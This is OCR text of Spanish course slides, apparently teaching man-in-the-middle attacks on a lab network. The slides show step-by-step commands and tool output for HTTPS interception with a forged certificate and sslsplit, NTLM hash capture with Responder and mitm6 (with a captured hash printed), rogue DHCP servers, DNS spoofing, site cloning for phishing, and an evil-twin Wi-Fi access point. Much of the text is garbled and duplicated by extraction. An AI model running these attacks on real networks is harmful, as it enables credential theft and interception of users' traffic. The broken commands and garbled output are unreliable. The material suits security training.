Dado que los navegadores modernos son muy buenos en detectar y advertir sobre certificados no validos o
sospechosos, los ataques MITM exitosos en conexiones HTTPS son cada vez mas dificiles de llevar a cabo.
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Uso de Certificados SSL/TLS para Autenticacion:

Ademas de asegurar las comunicaciones, los certificados SSL/TLS también se pueden utilizar para
autenticarse en plataformas. Esto se logra mediante certificados de cliente, que son emitidos a los
usuarios o dispositivos y se utilizan para demostrar su identidad ante un servidor. Los certificados de
cliente son utiles en aplicaciones de acceso seguro a sistemas, como redes VPN o servicios web
restringidos.
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En resumen, los certificados SSL/TLS desempenan un papel critico en la seguridad de Internet al cifrar
las comunicaciones, autenticar servidores y, en algunos casos, autenticar a los clientes. Estan disehados
para garantizar la privacidad, la integridad y la autenticacion en un mundo en linea donde la seguridad es

fundamental.
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra ques MITM. Cuando un sitio web utiliza un
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el
certificado no es valido o es sospechoso, se mostraran advertencias al usuario.
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el
certificado no es valido o es sospechoso, se mostraran advertencias al usuario.

Para llevar a cabo un ataque MITM en una conexion segura HTTPS, un atacante deberia ser capaz de:

e Suplantar al servidor legitimo y presentar un certificado SSL/TLS valido (lo que es muy dificil debido a la
autoridad de certificacion que emite los certificados).

e Convencer al usuario de que su certificado es legitimo (lo que es complicado debido a las advertencias del
navegador).
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el
certificado no es valido o es sospechoso, se mostraran advertencias al usuario.

Para llevar a cabo un ataque MITM en una conexion segura HTTPS, un atacante deberia ser capaz de:

e Suplantar al servidor legitimo y presentar un certificado SSL/TLS valido (lo que es muy dificil debido a la
autoridad de certificacion que emite los certificados).

e Convencer al usuario de que su certificado es legitimo (lo que es complicado debido a las advertencias del
navegador).

Dado que los navegadores modernos son muy buenos en detectar y advertir sobre certificados no validos o
sospechosos, los ataques MITM exitosos en conexiones HTTPS son cada vez mas dificiles de llevar a cabo.
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Teoria: generamos un certificado para levantar un servicio HTTP que suplante un servicio web,
interceptaremos el trafico y descifraremos el trafico con el certificado
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Teoria: generamos un certificado para levantar un servicio HTTP que suplante un servicio web,
interceptaremos el trafico y descifraremos el trafico con el certificado

[[jomoza@notyour‘device] [/dev/pts/0] [master f ]
[~]> keytool -genkey -v -keystore MiTM.cert -alias mitmcerts -keyalg RSA -keysize 2048 -validity 100000
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Teoria: generamos un certificado para levantar un servicio HTTP que suplante un servicio web,
interceptaremos el trafico y descifraremos el trafico con el certificado

[[jomoza@notyour‘device] [/dev/pts/0] [master f]
[~]> keytool -genkey -v -keystore MiTM.cert -alias mitmcerts -keyalg RSA -keysize 2048 -validity 100000

# [1] create RSA key pair
[[jomoza@notyour‘device] [/dev/pts/0] [master f ]
[~]> openssl genrsa -out ca.key 4096

# [2] create cert
[[jomoza@notyour‘device] [/dev/pts/0] [master f]
[~]> openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
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Reset de IPtables:
[[jomoza@notyour‘device] [/dev/pts/0] [master 4]
[~]> echo '1' > [proc/sys/net/ipv4l/ip_forward
iptables-save > /pineapple/modules/SSLsplit/rules/saved
iptables -X
iptables -F
iptables -t nat -F
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
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Reset de IPtables:

[

[ jomoza@notyourdevice] [/dev/pts/@] [master 4 ]
[~]> echo '1' > [proc/sys/net/ipv4l/ip_forward
iptables-save > /pineapple/modules/SSLsplit/rules/saved

iptables -X

iptables -F

iptables -t nat -F

iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

Posibles redirecciones:
## Plain text HTTP traffic (80) is redirected to port 8080
[[jomoza@notyourdevice] [/dev/pts/0] [master f ]

[~]> iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT
--to-ports 8080

## SSL-based HTTPS traffic (443) is redirected to port 8443
[[jomoza@notyourdevice] [/dev/pts/0] [master f ]

[~]> iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT
--to-ports 8443
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[[jomoza@notyourdevice] [/dev/pts/@] [master 4]
[~]> iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

## IMAP over SSL (993), SMTP over SSL (465 and 587) is redirected to port 8443
[[jomoza@notyourdevice] [/dev/pts/@] [master 4]

[~]> iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
r[jomoza@notyourdevice] [/dev/pts/@] [master 4
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
Lhanotyourdevice] [/dev/pts/@] [master 4]
. bles -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
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Empleamos la herramienta SSLSTRIP para que el trafico cifrado viaje a traves de el certificado SSL
que acabmos de crear. Ojo con los directorios donde quereis que se exporten los resultados asi
como poner correctamente la ruta donde se encuentra el gertificado que hemos generado.

f

sudo sslsplit -D -l /tmp/connections.log -j /tmp/ssisplit/ -S /tmp/logdir/ -k /path/to/ca.key -c
/path/to/ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
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Empleamos la herramienta SSLSTRIP para que el trafico cifrado viaje a traves de el certificado SSL
que acabmos de crear. Ojo con los directorios donde quereis que se exporten los resultados asi
como poner correctamente la ruta donde se encuentra el gertificado que hemos generado.

f

sudo sslsplit -D -l connections.log -j /tmp/sslsplit/ -S /tmp/logdir/ -k /path/to/ca.key -c
/path/to/ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

Muchas webs daran error, podéis intentarlo con alguno como:
Como dara MUCHOS resultados de peticiones de trafico interceptado, usaremos el comando find
para limpiar ficheros vacios.

f

find /tmp/logdir -size 0 -print -delete
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RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener
los hashes NTLM de las contrasefias de los usuarios.

La herramienta funciona engafiando a los dispositivos de la red para que se autentiquen con la
herramienta. E1 ataque aprovecha las debilidades en la implementacién del protocolo NTLMv1/v2
de Microsoft para forzar la autenticacién a través de la herramienta y obtener los hashes
NTLM de las contrasefias de los usuarios en la red.

$ responder -l eth0
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CUANDO UN DISPOSITIVO EN UNA RED IPV6 NECESITA RESOLVER UN NOMBRE DE DOMINIO, ENVIA UNA
CONSULTA DE DNS EN MULTICAST A TODOS LOS DISPOSITIVOS DE LA RED LOCAL. ESTO SIGNIFICA QUE
CUALQUIER DISPOSITIVO EN LA RED PUEDE RESPONDER A LA CONSULTA Y PROPORCIONAR UNA DIRECCION IP
FALSA, LO QUE PERMITE A UN ATACANTE REALIZAR ATAQUES DE PHISHING, REDIRECCIONAMIENTO DE
TRAFICO Y OTROS TIPOS DE ATAQUES MITM.

MITM6 ES UNA HERRAMIENTA DE CODIGO ABIERTO QUE SE UTILIZA PARA REALIZAR ATAQUES DE TIPO
MAN-IN-THE-MIDDLE (MITM) CONTRA REDES IPV6. LA HERRAMIENTA SE ENFOCA EN EXPLOTAR DEBILIDADES
EN LA IMPLEMENTACION DEL PROTOCOLO DE RESOLUCION DE NOMBRES DE DOMINIO (DNS) EN ENTORNOS DE
RED IPV6.

MITM6 APROVECHA ESTA DEBILIDAD EN LA IMPLEMENTACION DEL PROTOCOLO DE RESOLUCION DE NOMBRES DE
DOMINIO EN REDES IPV6 PARA REALIZAR UN ATAQUE MITM Y REDIRIGIR EL TRAFICO DE RED DE LAS
VICTIMAS A TRAVES DE UN SERVIDOR CONTROLADO POR EL ATACANTE. LA HERRAMIENTA INTERCEPTA LAS
SOLICITUDES DE DNS REALIZADAS POR LOS DISPOSITIVOS EN LA RED Y LAS RESPONDE CON RESPUESTAS
FALSAS QUE CONTIENEN DIRECCIONES IP CONTROLADAS POR EL ATACANTE.

$ sudo mitmé -i eth0

$ responder -| eth0 -wFv

USING'2001:1860:4860::8888




1PvO address: Tte8V:iI4830:8Z2al:470/1ee8D
Warning: Not filtering on any domain, mitmé will reply to all DNS queries.
Unless this is what you want, specify at least one domain with -d
An error occurred while sending a packet: [Errno 1] Operation not permitted
Note that root privileges are required to run mitmé
An error occurred while sending a packet: [Errno 1] Operation not permitted
Note that root privileges are required to run mitmé6
ey
C
Shutting down packet capture after next packet ...
A
C

[:—(kaliﬁikali)-{~IRT_TO0LSInitn6-0.3.0]
$

[:—(kaliEBkali)-[”/RT_TOOLS/nitnG-O.B.O]
$ sudo mitm6 -i ethe

Starting mitmé using the following configuration:

Primary adapter: eth® [08:00:27:b1:9d:67]

IPv4 address: 10.0.9.6

IPv6 address: fe80::483d:82al:4f67:ee8b

Warning: Not filtering on any domain, mitmé will reply to all DNS queries.
Unless this is what you want, specify at least one domain with -d

IPv6 address fe80::4699:1 is now assigned to mac=08:00:27:b6:da:14 host=PRIN
CIPAL-BLEACH.BLEACH.local. ipv4=

“B*[[C

IPv6 address fe8@::4699:2 is now assigned to mac=08:00:27:bf:4a:34 host=DESK
TOP-O5N3UTI.BLEACH.local. ipv4=

Sent spoofed reply for principal-bleach.bleach.local. to fe80::4699:2

Sent spoofed reply for principal-bleach.bleach.local. to fe8@::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:2

Sent spoofed reply for wpad.BLEACH.local. to fe80::4699:2

Sent spoofed reply for wpad.BLEACH.local. to fe80::4699:2

Sent spoofed reply for wpad.bleach.local. to fe80::4699:2

Sent spoofed reply for wpad.bleach.local. to fe80::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:2

Sent spoofed reply for dns.msftncsi.com. to fe80::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe80::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe80@::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.LOCAL. to fe80@::4699:
Sent spoofed reply for b.ip6-servers.arpa. to fe80::4699:2

Sent spoofed reply for b.ip6-servers.arpa. to fe80::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe80::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.LOCAL. to fe80::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.LOCAL. to fe8@::4699:
Sent spoofed reply for e.ip6-servers.arpa. to fe80::4699:2

NNN

NNNN

1.04
[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.@ Safari/537.36 Edg/111.0.166

[HTTP] NTLMv2 Client 10.0.9.5
[HTTP] NTLMv2 Username : BLEACH\jquerito
[HTTP] NTLMv2 Hash jquerito:: BLEACH: fbblafbd450c7de5:02178715829F078E4

A9B58A177CDB10D:01010000000000006C836188A865D9014066ED00O1AB21BB88000000000200
0800440058004C00580001001E00570049004E002D0032005A00360052005100310034004900
41004F00580004001400440058004C0058002E004C004F00430041004C000300340057004900
4EQ02D0032005A0036005200510031003400490041004F0058002E00440058004C0058002E00
4CO04F00430041004C0005001400440058004C0058002E004C004F00430041004C0008003000
00002000002660111B6CCBCBOB1222171CE19412E1C11E77E19484
0000000000900120048005400

300 00000000

F13AEAASAGAO28EB1B830A001000000 00000
540050002F0077007000610064000000000000000000
[HTTP] WPAD (auth) file sent to 10.0.9.5
[CLDAR] Sent CLDAP pong to fe80::4699:3.
[CLDAP] Sent CLDAP pong to fe8@::4699:3.
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

[HTTP] Sending NTLM authentication request to 10.0.9.5

[HTTP] User-Agent : Mozilla/5.@0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] User-Agent : Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
T

[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] GET request from: ::ffff:10.0.9.5 URL: /wpad.dat

[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10. 0 Win64; x64) Applewe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166

: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166

: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
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Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexion.

Descripci6n . . . . . . . . . . . .« . . . : Intel(R) PRO/100OO MT Desktop Adapter
Direcci6n fisica. . . . . . . . . . . . . : ©8-00-27-0A-36-58
DHCP habilitado . . . S |
Configuracion automatlca habllltada S |
Vinculo: direccidon IPv6 local. . . : fe8@: ba87 dff8:e5a1:9d42%14(Preferido)
Direccidén IPv4. . . . . . . . . . . . . . : 192.168.1.43(Preferido)
Mascara de subred . . . . . . . . . . . . : 255.255.255.0
Concesiodn obtenida. . . . . . . . . . . . : lunes, 27 de noviembre de 2023 4:43:3¢
La concesion expira . . . « « « « « = lunes, 27 de noviembre de 20823 16:35:¢
Puerta de enlace predetermlnada s e s s s u 192.168.1.1
Servidor'BHEP . . o o 5 & 5 s s s s s s s s 192.168.1.%
IAID DHCPvE . . . e e e e R ORI XS
DUID de cliente DHCPVG « « + « « + « « . . OB-01-00-01-2C-ED-41-7E-08-00-27-0BA-3¢
Servidores DNS. . . . . . . . . . . : 80.58.61.250

86 58 61 254
NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

C:\Users\Juan\Desktopn>ip a



lal Yersinia0.8.2
File Protocols Actions Options Help

% % O = a s+ 7 a8
Launchattack Editinterfaces Loaddefault Listattacks Clear stats Capture Edit mode Exit

Protocols Packets
CcDP 0
DHCP 0
8021@ O
8021X 0
DTP 0
HSRP 0
ISL 0
n

MDI C

Field Value Description

08:37:43

CDP DHCP 802.1Q 802.1X DTP HSRP ISL MPLS STP VTP Yersinialog
SIP DIP MessageType Interface Count Lastseen

Ll Choose protocol attack S

CDP DHCP 802.1Q@ 8021X DTP HSRP ISL MPLS STP VTP
Choose attack
Description DoS
sending RAW packet
@ sending DISCOVER packet v
creating DHCP rogue server
sending RELEASE packet v
Dynamic Host Configuration Prot
Source MAC 02:48:33:66:0.

SIP 0.6.0.0
Op 01 Htype 61 Cancel OK Flags
Cl 0.0.0.0 Yl 0.0.8.0 SI 0.0.0.0 Gl 0.0.0.0

CH 02:48:33:66:02:51

8000



DHCP : STRVT ATTACK : ROGE DHCP

1. ifconfig etho

2. echo 1 » /proc/sys/net/ipv4/ip_forward

5. msfconsole -q -x 'use auxiliary/server/dhcp'

6. Adjust the config as you like (see options)
> set srvhost 192.168.13.37 ( IP address of the DHCP server )
> set netmask 255.255.255.0 ( subnet mask )
> set router 192.168.13.1 (default gateway of the DHCP lease)

> set dnsserver 192.168.1.47 (DNS server of the DHCP lease)



DHCP

Stopping
msf6 auxilia

: STRVT ATTACK :

jop 1
ry(

) > show options

Module options (auxiliary/server/dhcp):

Name
BROADCAST
DHCPIPEND
DHCPIPSTA
DNSSERVER
DOMAINNAM
FILENAME
HOSTNAME
HOSTSTART
NETMASK
ROUTER
SRVHOST

Auxiliary ac

Name

Current Setting Required Description

192.168
RT 192.168

192.168
E

255:.255

192.168.

tion:

Description

.5.100
St
.1.40

<255.0

1.40

no The
no The
no The
no The
no The
no The
no The
no The
yes The
no The
yes The

broadcast ac
last IP to ¢
first IP to
DNS server 1
optional don
optional fil
optional hos
optional hos
netmask of t
router IP ac
IP of the DF

ROGE DHCP
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Stopping Jjob 1
msf6 auxiliary( ) > show options

Module options (auxiliary/server/dhcp):

S | - - T p——

(base) r——( i)-[~]

Name Current Setting Required Description sudO(msdmﬁ -i 192.168.1.40
BROADCAST no The broadcast ac | | version 0.4 | | 3
DHCPIPEND  192.168.5.100  no The last IP to ¢ /—! :-,—V =0 : = v { '-I
DNSSERVER 192.168.1.40 no The DNS server 1 e ol AT I\ Tl
DOMAINNAME no The optional don 1phe11xathespraw1 org
FILENAME no The optional fil
HOSTNAME no The optional hos E;;:gg:gg; E:% 3N§Che:hstir{$d gn interface: 192é128é1é40

; :50: sin e following nameservers: 8.8.8.
HOSTSTART A The optional hos (22:50:50) [*] No pgrameters weregspecified. Running in full p
NETMASK 255.255:255.0 yes The netmask of t oxy mode
ROUTER no The router IP ac (22:50:51) [*] 192.168.5.93: proxying the response of type 'A'
SRVHOST 192.168.1.40 yes The IP of the Dt for connectivitycheck.gstatic.com

(22:50:51) [*] 192.168.5.93: proxying the response of type 'A’

Auxiliary action:

Name Description
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[ o S —— P — P F— W ——

DHCP attack parameters @ ©

creating DHCP roque server

Server ID 10.1.1.3
StartIP 10.1.1.100
EndIP 10.1.1.150
Lease Time (secs) 3600
Renew Time (secs) 3600
Subnet Mask

Router

DNS Server

Domain

Cancel

Choose protocol attack

sending RAW packet

@ sending DISCOVER packet
creating DHCP rogue server

sending RELEASE packet

* Direccién del servidor
* Nombre DNS

* Pug de la direccién IP
* Direccién de Publicacién Masiva ( )

* Tiempo maximo de espera del ARP (Protocolo de Resolucién de Direcciones segun siglas en inglés)
* MTU (Unidad de Transferencia Mdxima segun siglas en inglés) para la interfaz

* Servidores NIS (Servicio de Informacion de Red segun siglas en inglés)

* Dominios NIS

* Servidores NTP (Protocolo de Tiempo de Red segun siglas en inglés)

* Servidor ¢

* Servidor TFTF sudo dnschef -i 10.10.0.105



DHCP : STRVT ATTACK : ROGE DHCP

Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexidn. -
Descripcion . . . . . . . . « « « « « . . : Intel(R) PRO/100OO® MT Desktop Adapter

Direccion fisica. . . . . . . . . . . . . : ©8-00-27-OA-36-58
DHCP habilitado . . . . T
Configuracidn automatica hab111tada 5 e si
Vinculo: direccion IPv6 local. . . : fe8@: b387 dff8:e5a1:9d42%14(Preferido)
Direccion IPV4. . . . . . . . . . . . . . : 192.168.1.43(Preferido)
Mascara de subred . . . . . . . . . . . . : 255.255.255.9
Concesidn obtenida. . . . . . . . . . . . : lunes, 27 de noviembre de 2023 4:43:3¢
La concesion expira . . . « « « « « : lunes, 27 de noviembre de 2023 16:35:¢
Puerta de enlace predetermlnada S 0D TR R U T
Servidor'DHCP 'c o & & 5 & 5 s s s s o5 s s s 192.168.1.1
IAID DHCPvE . . . e R e e e YO Y BT 52
DUID de cliente DHCPV6 « « + « + « « .« . . 0O0-801-00-01-2C-ED-41-7E-08-00-27-0A-3¢
Servidores DNS. . . . . . . . . . . 80.58.61.2506
80 58 61 254
NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

C:\Users\Juan\Desktop>ipb a



DHCP : STRVT ATTACK : ROGE DHCP

C:\Users\Juan\Desktop>ipconfig /all

Configuracion IP de Windows

Nombre de host. . . . . . . . . : DESKTOP-2GLICMQ
Sufijo DNS principal -

Tipo de nodo. . . . . : hibrido
Enrutamiento IP hab111tado - = ‘% DO

Proxy WINS habilitado . . . : no

Lista de bidsqueda de sufljos DNS digitechfp.es

Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexidn. . : digitechfp.es

Descripcion . . . . . . « « « « « « « . . : Intel(R) PRO/100O MT Desktop Adapter
Direccidn fisica. . . . . . . . . . . . . : ©8-00-27-PA-36-58

DHCP habilitado . . . e e Rl

Configuraciodn automatlca hab111tada - o ol

Vinculo: direccidén IPv6 local. . . : fe8@: b387 dff8:e5a1:9d42%14(Preferido)
Direccidén IPv4. . . . . . . . . « « . . . : 192.168.5.6(Preferido)

Mascara de subred . . . . . . . . . . . . : 255.255.255.9

Concesion obtenida. . . . . . . . . . . . : lunes, 27 de noviembre de 2023 4:46:00
La concesidn expira . . . w « « « « : lunes, 27 de noviembre de 2023 4:55:59
Puerta de enlace predetermlnada . = om om iy 492, .168.9 .40

Sepvidor-BHCPY S D s e e e e e e e e 92T BRI AD

IAID DHCPV6 . . . R T R T T B O 2

DUID de cliente DHCPVG « + « « + « « .« . : DO-01-00-01-2C-ED-41-7E-08-00-27-0A-36-58
Servidores DNS. . . . . . . . . . . . . . : 192.168.1.40

NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

C:\Users\Juan\Desktop>



EXTRA EXEMPLE :: DNS SPOOFING

sudo apt-get install build-essential python-dev libnetfilter-queue-dev
pip3 install -U git+https://github.com/kti/python-netfilterqueue

python3 -m pip install --upgrade setuptools

\

MAN [N
THE
MIDDLE

& <
e
e
&
(O

https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-
f1c5043b2d86



https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86
https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86

EXTRA EXEMPLE :: DNS SPOOFING
[wiki]::DNS spoofing

1. Write this to a file:
{ "mydomain.it.": "192.168.1.113", "otherdomain.com.": "192.168.1.113" }
(or just insert 'all_192.168.x.x" as the file name to spoof all domains)

2. Discover your target's ip and gateway ip: you can use subdisc for this task.

3. Run: sudo python3 main.py [target ip] [gateway ip] dns records.json

4. New dns requests to mydomain.it and otherdomain.com will make the target go to 192.168.1.113,
being hosted.

https://github.com/nOnexist/Trafficante
https://github.com/nOnexist/Trafficante/blob/main/wiki/dns-spoofing.md

https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-
f1c5043b2d86



https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86
https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86
https://github.com/n0nexist/Trafficante
https://github.com/n0nexist/Trafficante/blob/main/wiki/dns-spoofing.md

EXTRA EXEMPLE :: MITM + PHISHING

SingleFile @ oo ()E]
Guarda una pagina completa en un unico archivo HTML

Detalles Preferencias Permisos Notas de la version

SingleFile is an add-on for Firefox Desktop and Mobile that helps you to save an entire
webpage including images, styling, frames, fonts etc. as a single HTML file.

Getting started
Wait until the page is fully loaded.
Click on the SingleFile button in the extension toolbar to process and save the page.

You can click again on the button to cancel the action when processing a page.

Demo: https://www.youtube.com/watch?v=oVvTmcwxvmc

Additional notes

https://github.com/jigar-sable/web-ui-clones
https://github.com/X-SLAYER/Website-Cloner

https://github.com/nico-duitsmann/goldphish



https://github.com/jigar-sable/web-ui-clones
https://github.com/X-SLAYER/Website-Cloner
https://github.com/nico-duitsmann/goldphish

EXTRA EXEMPLE :: DNS SPOOFING

N 'q
u -
“monbd/exe - procexplexe
ceso'directo A Cceso directo

ooblabibat]

gram.com

Windows PowersShell
Copyright (C) Microsoft Corporation. Todos los derechos reservad

Prueba la nueva tecnologia PowerShell multiplataforma https://ak

PS C:\Users\Juan> arp

Interfaz: 192.168.1.40 --- Oxe

Direccion de Internet Direccion fisica Tipo
192.168.1.1 08-00-27-58-96-6¢C dinamico
192.168.1.36 70-4d-7b-87-f9-d7 dinamico I3 Iniciar sesion con Facebook
192.168.1.42 90-23-5b-19-90-02 dindmico
192.168.1.43 08-00-27-58-96-6C dindmico
192.168.1.47 28-11-a8-37-15-68 dindmico
192.168.1.255 ff-ff-ff-ff-ff-ff estatico
224.0.0.2 01-00-5e-00-00-02 estatico
224.0.0.22 01-00-5e-00-00-16 estatico
224.0.0.251 01-00-5e-00-00-fb estatico
224.0.0.252 01-00-5e-00-00-fc estatico
239.255.255.250 01-00-5e-7f-ff-fa estatico
2551255.255.255 ff-ff-ff-ff-ff-ff estatico

PS C:\Users\Juan>

vi.2.1
by nonexist.githu

in-the-middle attack against 192.168.1.40 a:
op the attack I
rding

1g ip forwa

attack

m domains.json

starting dns spoofi
targets




HACKING WIFI IS MORE THAN PASSWORDS

HOSTAPD-MANA

HOSTAPD-WPE (KARMA OPTIONS)
EAPHAMMER

BERATE_AP

https://qithub.com/DanMclnerney/wifiiammer
¥ https://qgithub.com/SValkanov/wifivoid

;- https://github.com/sensepost/wpa sycophant



https://github.com/sensepost/wpa_sycophant
https://github.com/DanMcInerney/wifijammer
https://github.com/SValkanov/wifivoid

EVIL TWINS

https://qithub.com/sensepost/berate ap



https://github.com/sensepost/berate_ap

I <3 MANA ATTACK

jomoza-ség-cna :: Documents/TOOLS/berate_ap <master»
Config dir:
PID: 584005
Network Manager found, set ap® as unmanaged device...
Creating a virtual WiFi interface... ap@® created.

Sharing Internet using method: nat

/tmp/create_ap.wlx00c0ca991829.conf.LgEFLBId

DONE

hostapd command-line interface: hostapd_cli -p /tmp/create_ap.wlx00c0ca991829.conf.

Configuration file: /tmp/create_ap.wlx00c0ca991829.conf.LgEFLBId/hostapd.conf
Using interface ap® with hwaddr ©0:c@:ca:99:18:2a and ssid "MiFibra-1A20_EXT"

ap@: interface state UNINITIALIZED->ENABLED

ap0: AP-ENABLED

|[MANA - Directed probe request for SSID 'MiFibra-EBSE' from 7c:d9:5c:8f:39:cd
MANA - Directed probe request for SSID 'MiFibra-EB5E' from 7c:d9:5c:8f:39:cd
MANA - Directed probe request for SSID 'MiFibra-EBSE' from 7c:d9:5c:8f:39:cd
MANA - Directed probe request for SSID 'MiFibra-EB5SE' from 7c:d9:5c:8f:39:cd
MANA - Directed probe request for SSID 'MiFibra-EBSE' from 7c:d9:5c:8f:39:cd
|[MANA - Directed probe request for SSID 'Redmi 9' from 20:72:0d:39:2f:a2

MANA - Directed probe request for SSID 'Redmi 9' from 20:72:0d:39:2f:a2

MANA - Directed probe request for SSID 'vodafoneAAQWCN' from 3c:8d:20:43:16:61
I[MANA - Directed probe request for SSID 'vodafoneAAQWCN' from 3c:8d:20:43:16:61
MANA - Directed probe request for SSID 'vodafoneAAQWCN' from 3c:8d:20:43:16:61
MANA - Directed probe request for SSID 'Du-HD4K-29DD8F63' from 5a:73:f3:a3:d9:f1
ap0®: STA b6:91:c2:3f:57:b4 IEEE 802.11: authenticated

ap@: STA b6:91:c2:3f:57:b4 IEEE 802.11: associated (aid 1)

ap0: AP-STA-CONNECTED b6:91:c2:3f:57:b4

ap0: STA b6:91:c2:3f:57:b4 RADIUS: starting accounting session D33573E43B38DD4F
MANA - Directed probe request for SSID 'MiFibra-FC62' from d2:ed:70:60:38:94
[MANA - Directed probe request for SSID 'MOVISTAR_7200' from 86:15:d9:3f:c4:c4
MANA - Directed probe request for SSID 'MOVISTAR_7200' from 86:15:d9:3f:c4:c4
MANA - Directed probe request for SSID 'MOVISTAR_PLUS_7200' from 7c:2e:bd:27:01:dc

» sudo berate_ap --mana wlx00c0ca991829 wlp0s20f3 MiFibra-1A20_EXT

LgEFLBId/hostapd_ctrl

jomoza-s2g-cna Documents/TOOLS/berate <master> » arp -a
_gateway (192.168.1.1) at 80:78:71:00:72:00 [ether] on wlp0s20f3
? (192.168.12.218) at b6:91:c2:3f:57:b4 [ether] on ap®

? (192.168.1.41) at 7c:2e:bd:27:01:dc [ether] on wlp0s20f3

? (192.168.1.34) at 86:15:d9:3f:c4:c4 [ether] on w1p0520f3
jomoza-s2g-cna Documents/TOOLS

ar
ay

/berate_ap

https://qithub.com/sensepost/berate

=10)



https://github.com/sensepost/berate_ap
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PIVOTING :: netsh port forwarder

https://deephacking.tech/que-es-el-pivoting/

https://ethicalhackneox.wordpress.com/2016/01/06/aprendiendo-a-hacer-piv

oting-fase-de-post-explotacion/

Hacker Machine
IP: 192.168.1.103

Network 192.168.1.0/24

Pivoting es el método en el
que obtenemos acceso sobre
una maquina para explotar
otra maquina mas profunda en
la red. Usando Pivoting se
hace posible para un atacante
[ una vez que obtiene acceso
inicial a un Sistema de red
remoto] acceder a otras

Internal Machine that hacker will pivot méquinas en lared que de otra
IP:10.10.10.102 manera no serian accesibles.

Network 10.10.10.0/24 . . ;
https://www.tutorialspoint.com/metasploit/metaspl

oit_pivoting.htm



https://deephacking.tech/que-es-el-pivoting/
https://ethicalhackneox.wordpress.com/2016/01/06/aprendiendo-a-hacer-pivoting-fase-de-post-explotacion/
